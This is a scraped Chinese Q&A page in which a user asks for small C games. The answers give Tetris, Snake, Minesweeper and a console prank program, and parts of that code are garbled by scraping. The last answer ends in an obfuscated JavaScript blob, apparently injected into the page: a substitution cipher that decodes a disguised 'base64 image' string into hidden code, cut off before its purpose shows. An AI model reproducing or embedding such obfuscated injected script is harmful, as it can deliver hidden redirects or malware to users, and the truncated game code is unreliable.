求一个用C语言编写的小游戏代码

请将代码发到467936649@qq.com
2024-11-05 00:19:01
推荐回答(5个)
回答(1):

#include
#include
#include

/////////////////////////////////////////////
// 定义常量、枚举量、结构体、全局变量
/////////////////////////////////////////////

#define WIDTH 10 // 游戏区宽度
#define HEIGHT 22 // 游戏区高度
#define SIZE 20 // 每个游戏区单位的实际像素

// 定义操作类型
enum CMD
{
CMD_ROTATE, // 方块旋转
CMD_LEFT, CMD_RIGHT, CMD_DOWN, // 方块左、右、下移动
CMD_SINK, // 方块沉底
CMD_QUIT // 退出游戏
};

// 定义绘制方块的方法
enum DRAW
{
SHOW, // 显示方块
HIDE, // 隐藏方块
FIX // 固定方块
};

// 定义七种俄罗斯方块
struct BLOCK
{
WORD dir[4]; // 方块的四个旋转状态
COLORREF color; // 方块的颜色
} g_Blocks[7] = { {0x0F00, 0x4444, 0x0F00, 0x4444, RED}, // I
{0x0660, 0x0660, 0x0660, 0x0660, BLUE}, // 口
{0x4460, 0x02E0, 0x0622, 0x0740, MAGENTA}, // L
{0x2260, 0x0E20, 0x0644, 0x0470, YELLOW}, // 反L
{0x0C60, 0x2640, 0x0C60, 0x2640, CYAN}, // Z
{0x0360, 0x4620, 0x0360, 0x4620, GREEN}, // 反Z
{0x4E00, 0x4C40, 0x0E40, 0x4640, BROWN}}; // T

// 定义当前方块、下一个方块的信息
struct BLOCKINFO
{
byte id; // 方块 ID
char x, y; // 方块在游戏区中的坐标
byte dir:2; // 方向
} g_CurBlock, g_NextBlock;

// 定义游戏区
BYTE g_World[WIDTH][HEIGHT] = {0};

/////////////////////////////////////////////
// 函数声明
/////////////////////////////////////////////

void Init(); // 初始化游戏
void Quit(); // 退出游戏
void NewGame(); // 开始新游戏
void GameOver(); // 结束游戏
CMD GetCmd(); // 获取控制命令
void DispatchCmd(CMD _cmd); // 分发控制命令
void NewBlock(); // 生成新的方块
bool CheckBlock(BLOCKINFO _block); // 检测指定方块是否可以放下
void DrawBlock(BLOCKINFO _block, DRAW _draw = SHOW); // 画方块
void OnRotate(); // 旋转方块
void OnLeft(); // 左移方块
void OnRight(); // 右移方块
void OnDown(); // 下移方块
void OnSink(); // 沉底方块

/////////////////////////////////////////////
// 函数定义
/////////////////////////////////////////////

// 主函数
void main()
{
Init();

CMD c;
while(true)
{
c = GetCmd();
DispatchCmd(c);

// 按退出时,显示对话框咨询用户是否退出
if (c == CMD_QUIT)
{
HWND wnd = GetHWnd();
if (MessageBox(wnd, _T("您要退出游戏吗?"), _T("提醒"), MB_OKCANCEL | MB_ICONQUESTION) == IDOK)
Quit();
}
}
}

// 初始化游戏
void Init()
{
initgraph(640, 480);
srand((unsigned)time(NULL));

// 显示操作说明
setfont(14, 0, _T("宋体"));
outtextxy(20, 330, _T("操作说明"));
outtextxy(20, 350, _T("上:旋转"));
outtextxy(20, 370, _T("左:左移"));
outtextxy(20, 390, _T("右:右移"));
outtextxy(20, 410, _T("下:下移"));
outtextxy(20, 430, _T("空格:沉底"));
outtextxy(20, 450, _T("ESC:退出"));

// 设置坐标原点
setorigin(220, 20);

// 绘制游戏区边界
rectangle(-1, -1, WIDTH * SIZE, HEIGHT * SIZE);
rectangle((WIDTH + 1) * SIZE - 1, -1, (WIDTH + 5) * SIZE, 4 * SIZE);

// 开始新游戏
NewGame();
}

// 退出游戏
void Quit()
{
closegraph();
exit(0);
}

// 开始新游戏
void NewGame()
{
// 清空游戏区
setfillstyle(BLACK);
bar(0, 0, WIDTH * SIZE - 1, HEIGHT * SIZE - 1);
ZeroMemory(g_World, WIDTH * HEIGHT);

// 生成下一个方块
g_NextBlock.id = rand() % 7;
g_NextBlock.dir = rand() % 4;
g_NextBlock.x = WIDTH + 1;
g_NextBlock.y = HEIGHT - 1;

// 获取新方块
NewBlock();
}

// 结束游戏
void GameOver()
{
HWND wnd = GetHWnd();
if (MessageBox(wnd, _T("游戏结束。\n您想重新来一局吗?"), _T("游戏结束"), MB_YESNO | MB_ICONQUESTION) == IDYES)
NewGame();
else
Quit();
}

// 获取控制命令
DWORD m_oldtime;
CMD GetCmd()
{
// 获取控制值
while(true)
{
// 如果超时,自动下落一格
DWORD newtime = GetTickCount();
if (newtime - m_oldtime >= 500)
{
m_oldtime = newtime;
return CMD_DOWN;
}

// 如果有按键,返回按键对应的功能
if (kbhit())
{
switch(getch())
{
case 'w':
case 'W': return CMD_ROTATE;
case 'a':
case 'A': return CMD_LEFT;
case 'd':
case 'D': return CMD_RIGHT;
case 's':
case 'S': return CMD_DOWN;
case 27: return CMD_QUIT;
case ' ': return CMD_SINK;
case 0:
case 0xE0:
switch(getch())
{
case 72: return CMD_ROTATE;
case 75: return CMD_LEFT;
case 77: return CMD_RIGHT;
case 80: return CMD_DOWN;
}
}
}

// 延时 (降低 CPU 占用率)
Sleep(20);
}
}

// 分发控制命令
void DispatchCmd(CMD _cmd)
{
switch(_cmd)
{
case CMD_ROTATE: OnRotate(); break;
case CMD_LEFT: OnLeft(); break;
case CMD_RIGHT: OnRight(); break;
case CMD_DOWN: OnDown(); break;
case CMD_SINK: OnSink(); break;
case CMD_QUIT: break;
}
}

// 生成新的方块
void NewBlock()
{
g_CurBlock.id = g_NextBlock.id, g_NextBlock.id = rand() % 7;
g_CurBlock.dir = g_NextBlock.dir, g_NextBlock.dir = rand() % 4;
g_CurBlock.x = (WIDTH - 4) / 2;
g_CurBlock.y = HEIGHT + 2;

// 下移新方块直到有局部显示
WORD c = g_Blocks[g_CurBlock.id].dir[g_CurBlock.dir];
while((c & 0xF) == 0)
{
g_CurBlock.y--;
c >>= 4;
}

// 绘制新方块
DrawBlock(g_CurBlock);

// 绘制下一个方块
setfillstyle(BLACK);
bar((WIDTH + 1) * SIZE, 0, (WIDTH + 5) * SIZE - 1, 4 * SIZE - 1);
DrawBlock(g_NextBlock);

// 设置计时器,用于判断自动下落
m_oldtime = GetTickCount();
}

// 画方块
void DrawBlock(BLOCKINFO _block, DRAW _draw)
{
WORD b = g_Blocks[_block.id].dir[_block.dir];
int x, y;

int color = BLACK;
switch(_draw)
{
case SHOW: color = g_Blocks[_block.id].color; break;
case HIDE: color = BLACK; break;
case FIX: color = g_Blocks[_block.id].color / 3; break;
}
setfillstyle(color);

for(int i=0; i<16; i++)
{
if (b & 0x8000)
{
x = _block.x + i % 4;
y = _block.y - i / 4;
if (y < HEIGHT)
{
if (_draw != HIDE)
bar3d(x * SIZE + 2, (HEIGHT - y - 1) * SIZE + 2, (x + 1) * SIZE - 4, (HEIGHT - y) * SIZE - 4, 3, true);
else
bar(x * SIZE, (HEIGHT - y - 1) * SIZE, (x + 1) * SIZE - 1, (HEIGHT - y) * SIZE - 1);
}
}
b <<= 1;
}
}

// 检测指定方块是否可以放下
bool CheckBlock(BLOCKINFO _block)
{
WORD b = g_Blocks[_block.id].dir[_block.dir];
int x, y;

for(int i=0; i<16; i++)
{
if (b & 0x8000)
{
x = _block.x + i % 4;
y = _block.y - i / 4;
if ((x < 0) || (x >= WIDTH) || (y < 0))
return false;

if ((y < HEIGHT) && (g_World[x][y]))
return false;
}
b <<= 1;
}

return true;
}

// 旋转方块
void OnRotate()
{
// 获取可以旋转的 x 偏移量
int dx;
BLOCKINFO tmp = g_CurBlock;
tmp.dir++; if (CheckBlock(tmp)) { dx = 0; goto rotate; }
tmp.x = g_CurBlock.x - 1; if (CheckBlock(tmp)) { dx = -1; goto rotate; }
tmp.x = g_CurBlock.x + 1; if (CheckBlock(tmp)) { dx = 1; goto rotate; }
tmp.x = g_CurBlock.x - 2; if (CheckBlock(tmp)) { dx = -2; goto rotate; }
tmp.x = g_CurBlock.x + 2; if (CheckBlock(tmp)) { dx = 2; goto rotate; }
return;

rotate:
// 旋转
DrawBlock(g_CurBlock, HIDE);
g_CurBlock.dir++;
g_CurBlock.x += dx;
DrawBlock(g_CurBlock);
}

// 左移方块
void OnLeft()
{
BLOCKINFO tmp = g_CurBlock;
tmp.x--;
if (CheckBlock(tmp))
{
DrawBlock(g_CurBlock, HIDE);
g_CurBlock.x--;
DrawBlock(g_CurBlock);
}
}

// 右移方块
void OnRight()
{
BLOCKINFO tmp = g_CurBlock;
tmp.x++;
if (CheckBlock(tmp))
{
DrawBlock(g_CurBlock, HIDE);
g_CurBlock.x++;
DrawBlock(g_CurBlock);
}
}

// 下移方块
void OnDown()
{
BLOCKINFO tmp = g_CurBlock;
tmp.y--;
if (CheckBlock(tmp))
{
DrawBlock(g_CurBlock, HIDE);
g_CurBlock.y--;
DrawBlock(g_CurBlock);
}
else
OnSink(); // 不可下移时,执行“沉底方块”操作
}

// 沉底方块
void OnSink()
{
int i, x, y;

// 连续下移方块
DrawBlock(g_CurBlock, HIDE);
BLOCKINFO tmp = g_CurBlock;
tmp.y--;
while (CheckBlock(tmp))
{
g_CurBlock.y--;
tmp.y--;
}
DrawBlock(g_CurBlock, FIX);

// 固定方块在游戏区
WORD b = g_Blocks[g_CurBlock.id].dir[g_CurBlock.dir];
for(i = 0; i < 16; i++)
{
if (b & 0x8000)
{
if (g_CurBlock.y - i / 4 >= HEIGHT)
{ // 如果方块的固定位置超出高度,结束游戏
GameOver();
return;
}
else
g_World[g_CurBlock.x + i % 4][g_CurBlock.y - i / 4] = 1;
}

b <<= 1;
}

// 检查是否需要消掉行,并标记
int row[4] = {0};
bool bRow = false;
for(y = g_CurBlock.y; y >= max(g_CurBlock.y - 3, 0); y--)
{
i = 0;
for(x = 0; x < WIDTH; x++)
if (g_World[x][y] == 1)
i++;
if (i == WIDTH)
{
bRow = true;
row[g_CurBlock.y - y] = 1;
setfillstyle(WHITE, DIAGCROSS2_FILL);
bar(0, (HEIGHT - y - 1) * SIZE + SIZE / 2 - 2, WIDTH * SIZE - 1, (HEIGHT - y - 1) * SIZE + SIZE / 2 + 2);
}
}

if (bRow)
{
// 延时 200 毫秒
Sleep(200);

// 擦掉刚才标记的行
IMAGE img;
for(i = 0; i < 4; i++)
{
if (row[i])
{
for(y = g_CurBlock.y - i + 1; y < HEIGHT; y++)
for(x = 0; x < WIDTH; x++)
{
g_World[x][y - 1] = g_World[x][y];
g_World[x][y] = 0;
}

getimage(&img, 0, 0, WIDTH * SIZE, (HEIGHT - (g_CurBlock.y - i + 1)) * SIZE);
putimage(0, SIZE, &img);
}
}
}

// 产生新方块
NewBlock();
}

回答(2):

/*也不知道你是什么级别的,我是一个新手,刚接触编程语言,以下是我自己变得一个小程序,在所有c语言的编译器(vc++6.0、turbo…………)上都能运行,你还可以进一步改进。这是一个类似贪吃蛇的小游戏。祝你好运*/
/*贪吃蛇*/
#include
#include
#include
#include
int head=3 ,tail=0;
int main()
{
int i,j,k=0;
int zuobiao[2][80];
long start;
int direction=77;
int gamespeed;
int timeover;
int change(char qipan[20][80],int zuobiao[2][80],char direction);
zuobiao[0][tail]=1;zuobiao[1][tail]=1;zuobiao[0][1]=1;zuobiao[1][1]=2;zuobiao[0][2]=1;zuobiao[1][2]=3;zuobiao[0][head]=1;zuobiao[1][head]=4;
/*处理棋盘*/
char qipan[20][80];//定义棋盘
for(i=0;i<20;i++)
for(j=0;j<80;j++)
qipan[i][j]=' ';//初始化棋盘
for(i=0;i<80;i++)
qipan[0][i]='_';
for(i=0;i<20;i++)
qipan[i][0]='|';
for(i=0;i<20;i++)
qipan[i][79]='|';
for(i=0;i<80;i++)
qipan[19][i]='_';
qipan[1][1]=qipan[1][2]=qipan[1][3]='*';//初始化蛇的位置
qipan[1][4]='#';
printf("This is a game of a SNAKE.\nGOOD LUCK TO YOU !\n");
printf("Input your game speed,please.(e.g.300)\n");
scanf("%d",&gamespeed);

while(direction!='q')
{
system("cls");
for(i=0;i<20;i++)//打印出棋盘
for(j=0;j<80;j++)
printf("%c",qipan[i][j]);
timeover=1;
start=clock();
while(!kbhit()&&(timeover=clock()-start<=gamespeed));
if(timeover)
{
getch();
direction=getch();
}
else
direction=direction;
if(!(direction==72||direction==80||direction==75||direction==77))
{
return 0;
system("cls");
printf("GAME OVER!\n");
}
if(!change(qipan,zuobiao,direction))
{
direction='q';
system("cls");
printf("GAME OVER!\n");
}
}
return 0;
}
int change(char qipan[20][80],int zuobiao[2][80],char direction)
{
int x,y;
if(direction==72)
x=zuobiao[0][head]-1;y=zuobiao[1][head];
if(direction==80)
x=zuobiao[0][head]+1;y=zuobiao[1][head];
if(direction==75)
x=zuobiao[0][head];y=zuobiao[0][head]-1;
if(direction==77)
x=zuobiao[0][head];y=zuobiao[1][head]+1;
if(x==0||x==18||y==78||y==0)
return 0;
if(qipan[x][y]!=' ')
return 0;
qipan[zuobiao[0][tail]][zuobiao[1][tail]]=' ';
tail=(tail+1)%80;
qipan[zuobiao[0][head]][zuobiao[1][head]]='*';
head=(head+1)%80;
zuobiao[0][head]=x;
zuobiao[1][head]=y;
qipan[zuobiao[0][head]][zuobiao[1][head]]='#';
return 1;
}

回答(3):

我也是一个新手。
下面有一个游戏
名字叫:
“坑人的无限”(一):
#include
#include
#include
#include
#include
using namespace std;
int a;
class Screen
{
private:
int n;
public:
Screen()
{
n=5;
}
void move1()//注意只是循环输出各个数字,不能对循环输出再进行循环(如果对循环输出0123456789再进行循环,则move1就变成一个无限循环的函数,则下面的screen循环就进行不下去了)
{
for(int i=0;i<10;++i)
{
cout< }
}
void move2()
{
char i;
for(i='a';i<='z';++i)
{
cout< }
}
void screen()
{
int t;
while(!kbhit())
{
t=time(0)%(2*n);//如果是放在循环外面的话,time(0)的值就一直不变,放在循环里面,一秒钟进行一次判断,一秒钟进行一次循环
if(t move1();
else
move2();
}
}
};
int main(){
cout<<"欢迎来到“无限 ”游戏"<cout<<"下面会输出无限个笑脸"<cout<<"按'enter'取消"<Sleep(4000);
Screen s;
s.screen();
cout< cout<<"接下来会更让你丧心病狂的!"< cout<<"但是坚持过后必有彩蛋!!!!!!加油!!";
cout< Sleep(10000);
for(int as=0;as<=50;as++){
for(int i=0;i<=100;i++){
for(int j=0;j<=10;j++){
cout< }
cout< }
for(int i=0;i<=100;i++){
for(int j=0;j<=10;j++){
cout< }
cout< }
}
cout<<"你居然坚持下来了!"< for(int i=0;i<=10;i++){
cout<<"-----------------------------------------------"< }
cout<<"敬请期待!等待无限游戏(二)!";
return 0;
}

回答(4):

本人新手一枚,代码可能有点冗长,但是能运行。
这是扫雷,输入行数 列数即可打开方块,输入行数#列数即可标记方块。
#include
#include
#include
#include
main()
{
char a[102][102],b[102][102],c[102][102],w;
int i,j; /*循环变量*/
int x,y,z[999]; /*雷的位置*/
int t,s; /*标记*/
int m,n,lei; /*计数*/
int u,v; /*输入*/
int hang,lie,shu,choice; /*自定义*/
srand((int)time(NULL));
h:
/*选择模式*/
printf("请选择模式\n1.标准 2.自定义\n");
scanf("%d",&choice);
if(choice==2)
{
do
{
t=0;
printf("请输入\n行数 列数 雷的个数\n");
scanf("%d%d%d",&hang,&lie,&shu);
if(hang<2)
{
printf("行数太少\n");
t=1;
}
if(hang>100)
{
printf("行数太多\n");
t=1;
}
if(lie<2)
{
printf("列数太少\n");
t=1;
}
if(lie>100)
{
printf("列数太多\n");
t=1;
}
if(shu<1)
{
printf("至少要有一个雷\n");
t=1;
}
if(shu>=(hang*lie))
{
printf("雷太多了\n");
t=1;
}
}
while(t==1);
}
else
{
hang=10,lie=10,shu=10;
}
/*确定雷的位置*/
for(i=1;i<=shu;i=i+1)
{
do
{
t=0;
z[i]=rand()%(hang*lie);
for(j=1;j {
if(z[i]==z[j])
t=1;
}
}
while(t==1);
}
/*初始化a,b,c*/
for(i=0;i<=hang+1;i=i+1)
{
for(j=0;j<=lie+1;j=j+1)
{
a[i][j]='1';
b[i][j]='1';
c[i][j]='0';
}
}
for(i=1;i<=hang;i=i+1)
{
for(j=1;j<=lie;j=j+1)
{
a[i][j]='+';
}
}
/*把雷放入c*/
for(i=1;i<=shu;i=i+1)
{
x=z[i]/lie+1;
y=z[i]%lie+1;
c[x][y]='#';
}
/*计算b中数字*/
for(i=1;i<=hang;i=i+1)
{
for(j=1;j<=lie;j=j+1)
{
m=48;
if(c[i-1][j-1]=='#')
m=m+1;
if(c[i][j-1]=='#')
m=m+1;
if(c[i-1][j]=='#')
m=m+1;
if(c[i+1][j+1]=='#')
m=m+1;
if(c[i][j+1]=='#')
m=m+1;
if(c[i+1][j]=='#')
m=m+1;
if(c[i+1][j-1]=='#')
m=m+1;
if(c[i-1][j+1]=='#')
m=m+1;
b[i][j]=m;
}
}
/*把雷放入b中*/
for(i=1;i<=shu;i=i+1)
{
x=z[i]/lie+1;
y=z[i]%lie+1;
b[x][y]='#';
}
/*游戏设计*/
lei=shu;
do
{
g:
/*输出*/
printf(" ");
for(i=1;i<=lie;i=i+1)
{
w=(i-1)/10+48;
printf("%c",w);
w=(i-1)%10+48;
printf("%c ",w);
}
printf("\n |");
for(i=1;i<=lie;i=i+1)
{
printf("---|");
}
printf("\n");
for(i=1;i<=hang;i=i+1)
{
w=(i-1)/10+48;
printf("%c",w);
w=(i-1)%10+48;
printf("%c |",w);
for(j=1;j<=lie;j=j+1)
{
if(a[i][j]=='0')
printf(" |");
else
printf(" %c |",a[i][j]);
}
if(i==2)
printf(" 剩余雷个数");
if(i==3)
printf(" %d",lei);
printf("\n |");
for(j=1;j<=lie;j=j+1)
{
printf("---|");
}
printf("\n");
}
/*输入*/
scanf("%d%c%d",&u,&w,&v);
u=u+1,v=v+1;
if(w!='#'&&a[u][v]=='f')
goto g;
if(w=='#')
{
if(a[u][v]=='+')
{
a[u][v]='f';
lei=lei-1;
}
else if(a[u][v]=='f')
{
a[u][v]='?';
lei=lei+1;
}
else if(a[u][v]=='?')
{
a[u][v]='+';
}
goto g;
}
a[u][v]=b[u][v];
/*打开0区*/
f:
t=0;
if(a[u][v]=='0')
{
for(i=1;i<=hang;i=i+1)
{
for(j=1;j<=lie;j=j+1)
{
s=0;
if(a[i-1][j-1]=='0')
s=1;
if(a[i-1][j+1]=='0')
s=1;
if(a[i-1][j]=='0')
s=1;
if(a[i+1][j-1]=='0')
s=1;
if(a[i+1][j+1]=='0')
s=1;
if(a[i+1][j]=='0')
s=1;
if(a[i][j-1]=='0')
s=1;
if(a[i][j+1]=='0')
s=1;
if(s==1)
a[i][j]=b[i][j];
}
}
for(i=1;i<=hang;i=i+1)
{
for(j=lie;j>=1;j=j-1)
{
s=0;
if(a[i-1][j-1]=='0')
s=1;
if(a[i-1][j+1]=='0')
s=1;
if(a[i-1][j]=='0')
s=1;
if(a[i+1][j-1]=='0')
s=1;
if(a[i+1][j+1]=='0')
s=1;
if(a[i+1][j]=='0')
s=1;
if(a[i][j-1]=='0')
s=1;
if(a[i][j+1]=='0')
s=1;
if(s==1)
a[i][j]=b[i][j];
}
}
for(i=hang;i>=1;i=i-1)
{
for(j=1;j<=lie;j=j+1)
{
s=0;
if(a[i-1][j-1]=='0')
s=1;
if(a[i-1][j+1]=='0')
s=1;
if(a[i-1][j]=='0')
s=1;
if(a[i+1][j-1]=='0')
s=1;
if(a[i+1][j+1]=='0')
s=1;
if(a[i+1][j]=='0')
s=1;
if(a[i][j-1]=='0')
s=1;
if(a[i][j+1]=='0')
s=1;
if(s==1)
a[i][j]=b[i][j];
}
}
for(i=hang;i>=1;i=i-1)
{
for(j=lie;j>=1;j=j-1)
{
s=0;
if(a[i-1][j-1]=='0')
s=1;
if(a[i-1][j+1]=='0')
s=1;
if(a[i-1][j]=='0')
s=1;
if(a[i+1][j-1]=='0')
s=1;
if(a[i+1][j+1]=='0')
s=1;
if(a[i+1][j]=='0')
s=1;
if(a[i][j-1]=='0')
s=1;
if(a[i][j+1]=='0')
s=1;
if(s==1)
a[i][j]=b[i][j];
}
}
/*检测0区*/
for(i=1;i<=hang;i=i+1)
{
for(j=1;j<=lie;j=j+1)
{
if(a[i][j]=='0')
{
if(a[i-1][j-1]=='+'||a[i-1][j-1]=='f'||a[i-1][j-1]=='?')
t=1;
if(a[i-1][j+1]=='+'||a[i-1][j+1]=='f'||a[i-1][j+1]=='?')
t=1;
if(a[i+1][j-1]=='+'||a[i+1][j-1]=='f'||a[i+1][j-1]=='?')
t=1;
if(a[i+1][j+1]=='+'||a[i+1][j+1]=='f'||a[i+1][j+1]=='?')
t=1;
if(a[i+1][j]=='+'||a[i+1][j]=='f'||a[i+1][j]=='?')
t=1;
if(a[i][j+1]=='+'||a[i][j+1]=='f'||a[i][j+1]=='?')
t=1;
if(a[i][j-1]=='+'||a[i][j-1]=='f'||a[i][j-1]=='?')
t=1;
if(a[i-1][j]=='+'||a[i-1][j]=='f'||a[i-1][j]=='?')
t=1;
}
}
}
if(t==1)
goto f;
}
/*检查结束*/
n=0;
for(i=1;i<=hang;i=i+1)
{
for(j=1;j<=lie;j=j+1)
{
if(a[i][j]!='+'&&a[i][j]!='f'&&a[i][j]!='?')
n=n+1;
}
}
}
while(a[u][v]!='#'&&n!=(hang*lie-shu));
/*游戏结束*/
for(i=1;i<=shu;i=i+1)
{
x=z[i]/lie+1;
y=z[i]%lie+1;
a[x][y]='#';
}
printf(" ");
for(i=1;i<=lie;i=i+1)
{
w=(i-1)/10+48;
printf("%c",w);
w=(i-1)%10+48;
printf("%c ",w);
}
printf("\n |");
for(i=1;i<=lie;i=i+1)
{
printf("---|");
}
printf("\n");
for(i=1;i<=hang;i=i+1)
{
w=(i-1)/10+48;
printf("%c",w);
w=(i-1)%10+48;
printf("%c |",w);
for(j=1;j<=lie;j=j+1)
{
if(a[i][j]=='0')
printf(" |");
else
printf(" %c |",a[i][j]);
}
/*if(i==2)
printf(" 剩余雷个数");
if(i==3)
printf(" %d",lei);*/
printf("\n |");
for(j=1;j<=lie;j=j+1)
{
printf("---|");
}
printf("\n");
}
if(n==(hang*lie-shu))
printf("success!\n");
else
printf("game over!\n");
printf("重玩请输入1\n");
t=0;
scanf("%d",&t);
if(t==1)
goto h;
}

回答(5):

那个dev–c++可以吗

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"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